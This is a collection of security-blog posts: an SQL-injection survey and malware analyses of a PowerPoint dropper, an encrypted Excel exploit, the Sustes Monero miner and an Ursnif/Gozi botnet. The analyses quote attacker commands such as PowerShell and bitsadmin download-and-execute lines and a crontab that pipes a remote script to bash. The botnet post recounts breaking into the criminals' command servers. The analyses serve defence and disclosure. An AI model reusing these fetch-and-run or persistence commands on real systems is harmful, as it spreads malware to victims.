Friday, January 11, 2019

Moving to marcoramilli.com

After more then 10 years on this amazing platform I decided to move forward to a professional blogging platform. I've reached hundred of  thousands of awesome professionals getting thousands of readers per day. I need a more sophisticated platform able to manage contents and graphically flexible enough to allow my new contents on cybersecurity.

I've set up a simple client meta-redirect-field so that your browser would automatically redirect to my new domain (https://marcoramilli.com). If your plugins block my "redirector" please visit www.marcoramilli.com for fresh new content. If you are a "feed reader" or an "email reader" please update your feeds/email to new my address.

See you on my new web corner and thank you for following me !

Sunday, January 6, 2019

How to data breaches happen

Data breaches happen.

Today, as never before, data plays a fundamental role in our real life. Everybody is both:  data producer and data consumer. We are data producer by simply moving from one building to another one, having a smartphone in our pocket or surfing the web or just by tapping on smartphone applications. We are data consumer when we buy things on Amazon or when we read information on social networks or again when we consume raw data through API. Somebody refers to data as the "new Oil"  (concept usually accredited to Clive Humby)  and data is what we let on the digital world and it's what we have very close to our physical life. Data is what we are on the cyber space. Data is what we need to protect. 

Protecting our private data is like protecting ourselves in the cyber world and for such a reason the protection needs to be regulated (GDPR teaches us).  So it might be very interesting to understand how data breaches might happen.

Unfortunately there is not a standard path to protect, for example a data breach might come through an insider attack, or by clicking on a malspam champaign or hitting eMail phishing or again through common vulnerabilities.  But one of the main path, so far, is driven by vulnerability. One of the most exploited vulnerability from attackers to illegally collect data is SQL-Injection. It is pretty easy to detect and to exploit even for not sophisticated attackers. But on the other side of the coin there are a lot of frameworks, designed patterns and methodologies to prevent and to block such a vulnerability. From here, I've started my research. I wanted to prove that SQLi vulnerabilities are quite "rare" (or difficult to find) in 2019, but -- unfortunately -- I acknowledged that I was wrong when I found these fresh pastes (here, here and here). The "possible attacker" exposed a set of "presumed" SQLi vulnerable websites harvested in a metter of 24h internet scanning. 

principal domain names with SLQi
According to the "pastes" the attacker harvest 327 circa vulnerable websites in less then a day ! So let's dig a little bit on them to see if we might find some interesting correlations.

A first interesting result comes from the first level domain names. Leaving out ".com" (which actually is the most common used domain name) it is possible to see additional interesting domain names such as ".ca", ".it", ".ir", ".ch", ".il" and so on, which are mostly "country" based domain names. I agree with those who might think that the used dataset could not be considered as a "significative dataset", since 24h of internet scraping is far-far-far away from having an internet significative view, but we might agree that it could be considered as an "indicative dataset". In other words if in only 24h of internet scraping he/she found 327 circa vulnerable websites, let's immagine what an attacker could do with weeks or months of scraping power. Still interesting to see that no specific geographic targets and/or country patterns emerged (for example: only richest/poorest countries or European countries,  or countries with cyber activists, or countries in a war conflict, etc..) suggesting that the issue (having vulnerable SQLi WebSite) is still quite spread all over the world.  The following map shows the geo-distribution domain names where domains such as: ".ld",".dk",".nz",".ug", "gk", ... , took a single hit, so are not visualised.

Domain Names Geographically Distributed

The following histogram shows the percentage of web server technology found in "presumed" vulnerable websites. Apache and Nginx are the most common used technology. I am not saying that Apache and Nginx are vulnerable to SQLi or that they might infer or enable  in somehow vulnerable webpages. Yet I am not saying that they are responsible in anyway of serving vulnerable applications. Indeed vulnerable applications does not have a direct link to the used web server, I am just observing the analysed data. It could be an "obvious consequence", since Apache and Nginx technologies are the most used over the web, or maybe not. 

Percentage of WebServer Technology in front of vulnerable websites
A little bit more interesting is the DB Technology distribution used in presumed SQLi vulnerable websites. It might highlight the application "type". For example we might believe that applications built on top of Microsoft Access are quite "old applications" (this is not always true, I'm aware of it, but it might be an indicative parameter to be considered on SQLi researches) or applications built on top of Oracle databases might be corporate applications and not opensource and/or "mockup" applications. Or we might stretch a little bit this concept by assuming that applications built on top of Microsoft SQL servers might be professional/company applications and so on and so forth. Of course we cannot walk the same way starting from MySql or PostreSQL since both of them are used into opensource/free applications as well as corporate and professional ones.

Percentage of DataBase Technology in of vulnerable websites backend
 Conclusions:
Everyday we read about personal data breaches. One of the least ones happened on German Politics (more info here, here and here). (P) Data breaches might sap our companies and our digital identities, regulations have been made trying to normalise and to block breaches, but unfortunately in 2019 is still easy to get random personal data out of internet. In this personal research started on the darkweb and finally ended up on "paste" website,  I've found out that a common and quite easy way to mine personal data, even in 2019, is through SQLinjection which is surprisedly still effective although hundreds of countermeasures (such as: frameworks, design patters, native parametrised queries, etc..). The main reason of the 327 circa vulnerable websites found in less then a day (according to the found pasties) are the un-patched software version. In fact it could be easy to find common google dorks on the attacker patterns. To block well-known SQLi vulnerabilities is pretty simple as patching your website. Please do it for the safety of your users.




Friday, November 16, 2018

Microsoft Powerpoint as Malware Dropper

Nowadays Microsoft office documents are often used to propagate Malware acting like dynamic droppers. Microsoft Excel within macros or Microsoft Word with user actions (like links or external OLE objects) are the main player in this "Office Dropping Arena". When I figured out that a Microsoft Powerpoint was used to drop and to execute a Malicious payload I was amazed, it's not so common (at least on my personal experiences), so I decided to write a little bit about it.

The "attack-path" is very close to what it's observable on modern threats since years: eMail campaign with attached document and actionable text on it. At the beginning the Microsoft Powerpoint presentation looked like a white blank page but performing a very interesting and hidden connection to: hxxps://a.doko.moe/wraeop.sct

Analysing the Microsoft Powerpoint structure it rises on my eyes the following slide structure

Stage 1: Microsoft PowerPoint Dropping Website
An external OLEobject (compatibility 2006) was available on that value:
Target="%73%63%72%49%50%54:%68%74%74%70%73%3A%2F%2F%61%2E%64oko%2Emo%65%2Fwr%61%65o%70%2E%73%63%74"  
Decoding that string from HEX to ASCII is much more readable:

scrIPT:hxxps://a.dolo.moe/wraeop.sct

An external object is downloaded and executed like a script on the victim machine. The downloaded file (wraeop.sct) represents a Javascript code reporting the Stage 2 of the infection process. It's showed as follows:

Stage 2: Executed Javascript
Decoding the 3.6K script appears clear that one more Stage is involved in the infection process. The following code is the execution path that drives Stage 2 to Stage 3.
var run = new ActiveXObject('WSCRIPT.Shell').Run(powershell  -nologo -executionpolicy bypass -noninteractive -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('http://batteryenhancer.com/oldsite/Videos/js/DAZZI.exe', '%temp%/VRE1wEh9j0mvUATIN3AqW1HSNnyir8id.exe'); Start-Process '%temp%/VRE1wEh9j0mvUATIN3AqW1HSNnyir8id.exe' ); 
The script downloads a file named: AZZI.exe and saves it by a new name: VRE1wEh9j0mvUATIN3AqW1HSNnyir8id.exe on a System temporary directory for running it. The downloaded PE Executable is a .NET file created by ExtendedScript Toolkit (according to compilation time) on 2018-11-13 15:21:54 and submitted few hours later on VirusTotal.

Stage 3: .NET file 
The Third stage uses an internal resource (which happens to be an image) to read and execute additional code: the final payload or Stage 4. In other words Stage 3 reads an image placed under the internal resource of PE File, extracts and executes it. The final payload looks like AzoRult Malware. The evidence comes from traffic analysis where the identified pattern sends (http POST) data on browser history and specific crafted files under User - AppData to specific php pages. Moreover the Command and control admin panel (hxxps://ominigrind.ml/azzi/panel/admin.php) looks like AZOrultV3.


Stage4: AZORult evidences


I hope you had fun on this, I did! It was super interesting to see Attacker's creativity and the way the act to include malicious contents into Office Documents. Microsoft should probably take care of this and try to filter or to ask permissions before include external contents, but still this will not be a complete solution (on my personal point of view). A more deep and invasive action would be needed to check the remote content. Stay tuned! 

IoC:
Original Powerpoint: 6ae5583ec767b7ed16aaa45068a1239a827a6dae95387d5d147c58c7c5f71457
wraeop.sct: 4f38fcea4a04074d2729228fb6341d0c03363660f159134db35b4d259b071bb0
download1: hxxps://a.dolo.moe/wraeop.sct
download2: hxxp://batteryenhancer.com
DAZZI.exe: c26de4d43100d24017d82bffd1b8c5f1f9888cb749ad59d2cd02ef505ae59f40
Resource Img: 965b74e02b60c44d75591a9e71c94e88365619fe1f82208c40be518865a819da
C2: hxxps://ominigrind.ml/azzi/index.php

Wednesday, October 17, 2018

MartyMcFly Malware: Targeting Naval Industry

Today I'd like to share an interesting analysis of a Targeted Attack found and dissected by Yoroi (technical details are available here). The victim was one of the most important leader in the field of  security and defensive military grade Naval ecosystem in Italy. Everything started from a well crafted  email targeting the right office asking for naval engine spare parts prices. The mail was quite clear, written in a great language within detailed spare parts matching the real engine parts. The analysed email presented two attachments to the victim:
  • A company profile, aiming to present the company who was asking for spare parts
  • A Microsoft .XLSX where (apparently) the list of the needed spare parts was available   
The attacker asked for a quotation of the entire spare part list available on the spreadsheet. In such a way the victim needed to open-up the included Microsoft spreadsheet in order to enumerate the "fake customer" needs. Opening up The Excel File it gets infected.

Let's go deep into that file and see what is happening there. As a first sight the office document had an encrypted content available on OleObj.1 and OleObj.2. Those objects are real Encrypted Ole Objects where the Encrypted payload sits on "EncryptedPackage" section and information on how to decrypt it are available on "EncryptionInfo" xml descriptor. However, in that time, the EncryptionInfo was holding encryption algorithm and additional information regarding the payload but no keys were provided. The question here was disruptive. How Microsoft Excel is able to decrypt such a content if no password is requested to the end user ?  In other way if the victim opens the document and he/she is not aware about "secret key" how can he/she get infected ? And why the attacker used an encrypted payload if the victim cannot open it ?

Stage1: Encrypted Content

Using an encrypted payload is quite a common way to evade Antivirus, since the encrypted payload changes depending on the used key. But what is the key ?

Well, on Microsoft Excel there is a common way to open documents called "Read Only". In "Read Only" mode the file could be opened even if encrypted. Microsoft excel asks to the user a decryption key only if the user wants to save, to print or to modify the content. In that case Microsoft programmers used a special and static key to decrypt the "Read Only" documents. Such a key sees the following value: "VelvetSweatshop" (a nice old article on that). Let's try to use this "key" to try to decrypt the content! The following image shows a brand new stage where a valid extracted xlsx file wraps more objects, we define it as Stage2.

Stage2: OleOBj inclusion (click to expand it)
A quick analysis on the Stage2 exposes a new object inclusion. (as shown in picture Stage2: OleOBJ inclusion). That object was crafted on 2018-10-09 but it was seen only on 2018-10-12. At this time the extracted object is clear text and not encrypted content was find at all. The following image shows the extracted object from Stage2.

Stage2: extracted Payload

It's not hard to see what the payload does (CVE-2017-11882 ), but if you run it on a dynamic engine you would probably have more chances to prove it. The Payload exploits CVE-2017-11882 by spawning the Equation Editor, dropping and executing an external PE file. We might define the Equation Editor dropping and executing as the Stage3. The following image shows the connection to a dropping website performed by EquationEditor (click to magnify it). 

Stage3: Equation Editor Spawned and connecting to Dropping URL
Evidence of what dissected is shown on the following image (Introducing Stage4) where the EquationEditor network trace is provided. We are introducing a new stage: the Stage4. GEqy87.exe (Stage4) is a common windows PE. It's placed inside an unconventional folder (js/jquery/file/... ) into a compromised and thematic website. This placement usually have a duplice target: (a) old school or un-configured IDS bypassing (b) hiding malicious software into well-known and trusted folder structure in order to persist over website upgrades.  

Introducing Stage4. PE file droppend and executed
Stage4 is pretty interesting per-se. It's a nice piece of software written in Borland Delphi 7. According to VirusTotal the software was "seen in the Wild" in 2010 but submitted only on 2018-10-12 ! This is pretty interesting isn't it ? Maybe hash collision over multiple years ? Maybe a buggy variable on VirusTotal ? Or maybe not, something more sophisticated and complex is happening out there.

Stage4: According to Virus Total

Looking into GEqy87 is quite clear that the sample was hiding an additional windows PE. On one hand it builds up the new PE directly on memory by running decryption loops (not reversed here). On the other hand it fires up 0xEIP to pre-allocated memory section in order to reach new available code section.


Stage5: Windows PE hidden into GEqy87.exe
 Stage5 deploys many evasion tricks such as: GetLastInputIn, SleepX and GetLocalTime to trick debuggers and SandBoxes. It makes an explicit date control check to 0x7E1 (2017). If the current date is less or equals to 0x7E1 it ends up by skipping the real behaviour while if the current date is, for example 2018, it runs its behaviour by calling "0xEAX"  (typical control flow redirection on memory crafted). 

For more technical details, please have a look here. What it looks very interesting, at least in my personal point of view, are the following evidences:
  • Assuming there were not hash collisions over years
  • Assuming VirusTotal: "First Seen in The Wild" is right (and not bugged)
We might think that: "we are facing a new threat targeting (as today) Naval Industry planned in 2010 and run in 2018".

The name MartyMcFly comes pretty natural here since the "interesting date-back from Virus Total". I am not confident about that date, but I can only assume VirusTotal is Right.

For IoC please visit the analysis from here.


Thursday, September 20, 2018

Sustes Malware: CPU for Monero

Today I'd like to share a simple analysis based on fascinating threat that I like to call Sustes (you will see name genesis in a bit).

Everybody knows Monero crypto currency and probably everybody knows that it has built upon privacy, by meaning It's not that simple to figure out Monero wallet balance. Sustes (mr.sh) is a nice example of Pirate-Mining and even if it's hard to figure out its magnitude, since the attacker built-up private pool-proxies, I believe it's interesting to fix wallet address in memories and to share IoC for future Protection. So, let's have a closer look to it.

Monero stops you trying to check wallet balance
Sustes Malware doesn't infect victims by itself (it's not a worm) but it is spread over exploitation and brute-force activities with special focus on IoT and Linux servers. The initial infection stage comes from a custom wget (http:\/\/192[.]99[.]142[.]226[:]8220\/mr.sh ) directly on the victim machine followed by a simple /bin/bash mr.sh. The script is a simple bash script which drops and executes additional software with a bit of spicy. The following code represents the mr.sh content as a today (ref. blog post date).


An initial connection-check wants to take down unwanted software on the victim side (awk '{print $7}' | sed -e "s/\/.*//g") taking decisions upon specific IP addresses. It filters PID from connection states and it directly kills them (kill -9). The extracted attacker's unwanted communications are the following ones:
  • 103[.]99[.]115[.]220  (Org:  HOST EDU (OPC) PRIVATE LIMITED,  Country: IN)
  • 104[.]160[.]171[.]94 (Org:  Sharktech  Country: USA)
  • 121[.]18[.]238[.]56 (Org:  ChinaUnicom,  Country: CN)
  • 170[.]178[.]178[.]57 (Org:  Sharktech  Country: USA)
  • 27[.]155[.]87[.]59 (Org:  CHINANET-FJ  Country: CN)
  • 52[.]15[.]62[.]13 (Org:   Amazon Technologies Inc.,  Country: USA)
  • 52[.]15[.]72[.]79 (Org:  HOST EDU (OPC) PRIVATE LIMITED,  Country: IN)
  • 91[.]236[.]182[.]1 (Org:  Brillant Auto Kft,  Country: HU)
A second check comes from "command lines arguments". Sustes "greps" to search for configuration files (for example: wc.conf and wq.conf and wm.conf) then it looks for software names such as sustes (here we go !) and kills everything matches the "grep". The script follows by assigning to f2 variable the dropping website (192[.]99[.]142[.]226:8220) and later-on it calls "f2" adding specific paths (for example: /xm64 and wt.conf) in order to drop crafted components. MR.sh follows by running the dropped software with configuration file as follows:

nohup $DIR/sustes -c $DIR/wc.conf > /dev/null 2>&1 &

MR.SH ends up by setting a periodic crontab action on dropping and executing itself by setting up:

crontab -l 2>/dev/null; echo "* * * * * $LDR http://192.99.142.226:8220/mr.sh | bash -sh > /dev/null 2>&1"

Following the analysis and extracting the configuration file from dropping URL we might observe the Monero wallet addresses and the Monero Pools used by attacker. The following wallets (W1, W2, W3) were found.

  • W1: 4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg
  • W2: 4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg
  • W3: 4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg
Quick analyses on the used Monero pools took me to believe the attacker built up a custom  and private (deployed on private infrastructures) monero pool/proxies, for such a reason I believe it would be nice to monitor and/or block the following addresses:
  • 158[.]69[.]133[.]20 on port 3333
  • 192[.]99[.]142[.]249 on port 3333
  • 202[.]144[.]193[.]110 on port 3333 
The downloaded payload is named sustes and it is a basic XMRIG, which is a well-known opensource miner. In this scenario it is used to make money at the expense of computer users by abusing the infected computer to mine Monero, a cryptocurrency. The following image shows the usage strings as an initial proof of software.

XMRIG prove 1

Many people are currently wondering what is the sustes process which is draining a lot of PC resources (for example: here, here and here ) .... now we have an answer: it's a unwanted Miner. :D.

Hope you had fun


IoC
  • IP Address:
    • 103[.]99[.]115[.]220  (Org:  HOST EDU (OPC) PRIVATE LIMITED,  Country: IN)
    • 104[.]160[.]171[.]94 (Org:  Sharktech  Country: USA)
    • 121[.]18[.]238[.]56 (Org:  ChinaUnicom,  Country: CN)
    • 170[.]178[.]178[.]57 (Org:  Sharktech  Country: USA)
    • 27[.]155[.]87[.]59 (Org:  CHINANET-FJ  Country: CN)
    • 52[.]15[.]62[.]13 (Org:   Amazon Technologies Inc.,  Country: USA)
    • 52[.]15[.]72[.]79 (Org:  HOST EDU (OPC) PRIVATE LIMITED,  Country: IN)
    • 91[.]236[.]182[.]1 (Org:  Brillant Auto Kft,  Country: HU)
  • Custom Monero Pools:
    • 158[.]69[.]133[.]20:3333
    • 192[.]99[.]142[.]249:3333
    • 202[.]144[.]193[.]110:3333 
  • Wallets:
    • W1: 4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg
    • W2: 4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg
    • W3: 4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg

Friday, August 31, 2018

Hacking The Hacker. Stopping a big botnet targeting USA, Canada and Italy

Today I'd like to share a full path analysis including a KickBack attack which took me to gain full access to an entire Ursniff/Gozi BotNet .

  In other words:  from a simple "Malware Sample" to "Pwn the Attacker Infrastructure".

NB: Federal Police has already been alerted on such a topic as well as National and International CERTs/CSIRT (on August 26/27 2018) . Attacked companies and compromised hosts should be already reached out. If you have no idea about this topic until now it means, with high probability, you/your company is not involved on that threat. I am not going to public disclose the victims IPs. 

This disclosure follows the ethical disclosure procedure, which it is close to responsible disclosure procedure but mainly focused on incident rather than on vulnerabilities.

Since blogging is not my business, I do write on my personal blog to share knowledge on Cyber Security, I will describe some of the main steps that took me to own the attacker infrastructure. I will no disclose the found Malware code nor the Malware Command and Control code nor details on attacker's group, since I wont put on future attackers new Malware source code ready to be used.

My entire "Cyber adventure" began from a simple email within a .ZIP file named "Nuovo Documento1.zip" as an apparently normal attachment (sha256: 79005f3a6aeb96fec7f3f9e812e1f199202e813c82d254b8cc3f621ea1372041) . Inside the ZIP a .VBS file (sha265: 42a7b1ecb39db95a9df1fc8a57e7b16a5ae88659e57b92904ac1fe7cc81acc0d) which for the time being August 21 2018 was totally unknown from VirusTotal (unknown = not yet analysed) was ready to get started through double click. The VisualBasic Script (Stage1) was heavily obfuscated in order to avoid simple reverse engineering analyses on it, but I do like  de-obfuscate hidden code (every time it's like a personal challenge). After some hardworking-minutes ( :D ) Stage1 was totally de-obfuscated and ready to be interpreted in plain text. It appeared clear to me that Stage1 was in charged of evading three main AVs such as: Kaspersky Lab, Panda Security and Trend Micro by running simple scans on Microsoft Regedit and dropping and executing additional software.

Stage1. Obfuscation
Indeed if none of searched AV were found on the target system Stage1 was acting as a simple downloader. The specific performed actions follows:
"C:\Windows\System32\cmd.exe" /c bitsadmin /transfer msd5 /priority foreground http://englandlistings.com/pagverd75.php C:\Users\J8913~1.SEA\AppData\Local\Temp/rEOuvWkRP.exe &schtasks /create /st 01:36 /sc once /tn srx3 /tr C:\Users\J8913~1.SEA\AppData\Local\Temp/rEOuvWkRP.exe
Stage1 was dropping and executing a brand new PE file named: rEOuvWkRP.exe (sha256: 92f59c431fbf79bf23cff65d0c4787d0b9e223493edc51a4bbd3c88a5b30b05c) using the bitsadmin.exe native Microsoft program. BitsAdmin.exe is a command-line tool that system admin can use to create download or upload jobs and monitor their progress over time. This technique have been widely used by Anunak APT during bank frauds on the past few years.

The Stage2 analysis (huge step ahead here)  brought me to an additional brand new Drop and Decrypt stager. Stage3 introduced additional layers of anti-reverse engineering. The following image shows the additional PE section within high entropy on it. It's a significative indication of a Decrypter activity.

Stage2. Drop and Decrypt the Stage3. You might appreciate the high Entropy on added section

Indeed Stage 3 (sha256: 84f3a18c5a0dd9af884293a1260dce1b88fc0b743202258ca1097d14a3c9d08e) was packed as well. A UPX algorithm was used to hide the real payload in such a way many AV engines were not able to detect it since signature was changing from original payload. Finally the de-packed payload presented many interesting features; for example it was weaponised with evasion techniques such as: timing delay (through sleep), loop delay by calling 9979141 times GetSystemTimeAsFileTime API, BIOS versioning harvesting, system manufacturer information and system fingerprinting to check if it was running on virtual or physical environment. It installed itself on windows auto-run registry to get persistence on the victim machine. The following action was performed while running in background flag:
cmd.exe /C powershell invoke-expression([System.Text.Encoding]::ASCII.GetString((get-itemproperty 'HKCU:\Software\AppDataLow\Software\Microsoft\4CA108BF-3B6C-5EF4-2540-9F72297443C6').Audibrkr))

The final payload executed the following commands and spawned two main services (WSearch, WerSvc) on the target.
"C:\Users\J8913~1.SEA\AppData\Local\Temp\2e6d628189703d9ad4db9e9d164775bd.exe"
C:\Windows\sysWOW64\wbem\wmiprvse.exe -secured -Embedding
"C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
C:\Windows\system32\DllHost.exe /Processid:{F9717507-6651-4EDB-BFF7-AE615179BCCF}
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
\\?\C:\Windows\system32\wbem\WMIADAP.EXE wmiadap.exe /F /T /R
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2552 CREDAT:209921 /prefetch:2
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2552 CREDAT:406536 /prefetch:2
C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:264 WinX:0 WinY:0 IEFrame:0000000000000000
C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:65800 WinX:0 WinY:0 IEFrame:0000000000000000
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3004 CREDAT:209921 /prefetch:2
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3004 CREDAT:144390 /prefetch:2
C:\Windows\system32\SearchIndexer.exe /Embedding
taskhost.exe SYSTEM
C:\Windows\System32\wsqmcons.exe
taskhost.exe $(Arg0)
C:\Windows\System32\svchost.exe -k WerSvcGroup
"C:\Windows\system32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe1_ Global\UsGthrCtrlFltPipeMssGthrPipe1 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon"
"C:\Windows\system32\SearchFilterHost.exe" 0 552 556 564 65536 560
"C:\Windows\sysWow64\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe_S-1-5-21-3908037912-2838204505-3570244140-11082_ Global\UsGthrCtrlFltPipeMssGthrPipe_S-1-5-21-3908037912-2838204505-3570244140-11082 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon"  "1"
"C:\Windows\system32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe_S-1-5-21-3908037912-2838204505-3570244140-11083_ Global\UsGthrCtrlFltPipeMssGthrPipe_S-1-5-21-3908037912-2838204505-3570244140-11083 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon"  "1"
"C:\Windows\sysWow64\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe_S-1-5-21-3908037912-2838204505-3570244140-11084_ Global\UsGthrCtrlFltPipeMssGthrPipe_S-1-5-21-3908037912-2838204505-3570244140-11084 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon"  "1"
"C:\Windows\system32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe5_ Global\UsGthrCtrlFltPipeMssGthrPipe5 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon"
"C:\Windows\sysWow64\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe_S-1-5-21-3908037912-2838204505-3570244140-11086_ Global\UsGthrCtrlFltPipeMssGthrPipe_S-1-5-21-3908037912-2838204505-3570244140-11086 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon"  "1"
"C:\Windows\system32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe_S-1-5-21-3908037912-2838204505-3570244140-11087_ Global\UsGthrCtrlFltPipeMssGthrPipe_S-1-5-21-3908037912-2838204505-3570244140-11087 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon"  "1"
"C:\Windows\system32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe8_ Global\UsGthrCtrlFltPipeMssGthrPipe8 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon"
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:592 CREDAT:209921 /prefetch:2
cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\J8913~1.SEA\AppData\Local\Temp\34B0.bi1"
cmd /C "echo -------- >> C:\Users\J8913~1.SEA\AppData\Local\Temp\34B0.bi1"
C:\Windows\system32\schtasks.exe /delete /f /TN "Microsoft\Windows\Customer Experience Improvement Program\Uploader"
C:\Windows\system32\WerFault.exe -u -p 2524 -s 288
"C:\Windows\system32\wermgr.exe" "-queuereporting_svc" "C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_taskhost.exe_82b9a110b3b94c55171865162b471ffb8fadc7c6_cab_0ab86b12"
nslookup  myip.opendns.com resolver1.opendns.com

Stage3 finally connects back to C2s once checked its own ip address. Two main C2s were observed:

    • C2 level_1 (for domains and ips check the IoC section). The Stage3 connects back to C2 level_1 to get weaponised. Level_1 Command and Controls get information on victims and deliver plugins to expand the infection functionalities.
    • C2 level_2 (for domains and ips check the IoC section). Stage 3 indirectly connects to C2 level_2 in order to give stolen information. It 's a Ursniff/Gozi and it exfiltrates user credentials by looking for specific files, getting user clipboard and  by performing main in the browser attack against main web sites such as: paypal gmail, microsoft and many online services.

So far so good. Everything looks like one of my usual analyses, but something got my attention. The C2 level_1 had an administration panel which, on my personal point of view, was "hand made" and pretty "young" as implementation by meaning of HTML with not client side controls, no clickjacking controls and not special login tokens. According to Yoroi's mission (to defend its customers) I decided to go further and try to defend people and/or infected companies by getting inside the entire network and  to collaborate to local authorities to shut them down, by getting as much information as possible in order to help federal and local police to fight the Cyber Crime.

Fortunately I spotted a file inclusion vulnerability in Command and Control which took me in ! The following image shows a reverse shell I spawned on Attacker's command and control.

Reverse Shell On C2 Stage_1

Now, I was able to download the entire Command and Control Source Code (php) and study it ! The study of this brand new C2  took me to the next level. First of all I was able to get access to the local database where I found a lot of infected IPs (the IPs which were communicating back to C2 level_1). The following image proves that the downloaded Command and Control system has Macedonian dialect (Cyrillic language) on it, according to Anunak APT report made by group-ib.

Command and Control Source Code (snip)
The following image represents a simple screenshot of the database dump within Victim IPs (which are undisclosed for privacy reasons).

C2 level_1 Database 

Additional investigations on database brought new connected IPs. Those IPs were querying the MySQL with administrative rights. At least additional two layers of C2 were present. While the level_1 was weaponising the malware implant the level_2 was collecting information from victims. Thanks to the source code study has been possibile to found more 0Days to be used against C2 and in order to break into the C2 level_2 . Now I was able to see encrypted URLs coming from infected hosts.  Important steps ahead are intentionally missing. Among many URLs the analyst was able to figure out a "test" connection from the Attacker and focus to decrypt such a connection. Fortunately everything needed was written on command and control source code. In the specific case the following function was fundamental to get to clear text !

URL Decryption Function
The eKey was straight on the DB and the decryption function was quite easy to reverse. Finally it was possible to figured out how to decrypt the attacker testing string (the first transaction available on logs) and voilĂ , it was possible to checkin in attacker's email :D !

Attacker eMail: VPS credentials
Once "in" a new need came: discovering the entire network by getting access to the VPS control panel. After some active steps directly on the attacker infrastructure it was possible to get access to the entire VPS control panel. At this point it was clear the general infrastructure picture* and how to block the threat, not only for customers but for everybody !

Attacker VPS Environment

Sharing these results for free would make vendors (for example: AV companies, Firewall companies, IDS companies and son on) able to update their signatures and to block such a threat for everybody all around the world. I am sure that this work would not block malicious actors, BUT at least we might rise our voice against cyber criminals ! 

Summary:
In this post I described the main steps that took me to gain access to a big Ursniff/Gozi Botnet in order to shut it down by alerting federal and national authorities (no direct destructive actions have been performed on attacker infrastructure). The threat appeared very well structured, Docker containers were adopted in order to automatise the malicious infrastructure deployment and the code was quite well engineered. Many layers of command and control were found and the entire infrastructure was probably set up from a criminal organisation and not from a single person.

The following graph shows the victim distribution on August 2018. The main targets currently are USA with a 47% of the victims, followed by Canada (29.3%) and Italy (7.3%). Total victims on August 2018 are several thousands.


Victims Distribution on August 24 2018

During the analyses was interesting to observe attacker was acquiring domains from an apparent "black market"where many actors where selling and buying "apparent compromised domains" (no evidence on this last sentence, only feeling). The system (following picture) looks like a trading platform within public API that third party systems can operate such as stock operators.

Apparent Domain BlackMarket

Hope you enjoyed the reading.


IoCs:
Following a list of interesting artefacts that would be helpful to block and prevent the described threat.

Hashes:
  • 42a7b1ecb39db95a9df1fc8a57e7b16a5ae88659e57b92904ac1fe7cc81acc0d (.vbs)
